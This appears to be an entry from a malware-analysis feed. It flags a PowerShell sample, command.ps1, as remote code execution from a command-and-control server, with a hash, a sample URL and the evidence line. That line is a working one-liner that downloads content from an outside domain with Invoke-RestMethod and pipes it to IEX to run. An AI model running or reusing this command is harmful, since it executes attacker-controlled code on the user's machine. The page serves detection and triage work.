Suspicious 80% Download

command.ps1

Remote code execution from C2

Remote IRM response piped to IEXInvoke-RestMethod is near IEX; fetched content may be executed
SHA-25614696f60d5bc49a06c47381023476f288cee726c3e8cad060f2321a0f16ed702
URLhttps://tria.ge/api/v0/samples/260929-qvba3ssz5r/sample
MaleculeO(C)H₂(CmPo)

Evidence

Remote IRM response piped to IEX line 1
1irm 'naqsqyzlqqqli.zhv8.com/s/w/1' | iex

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.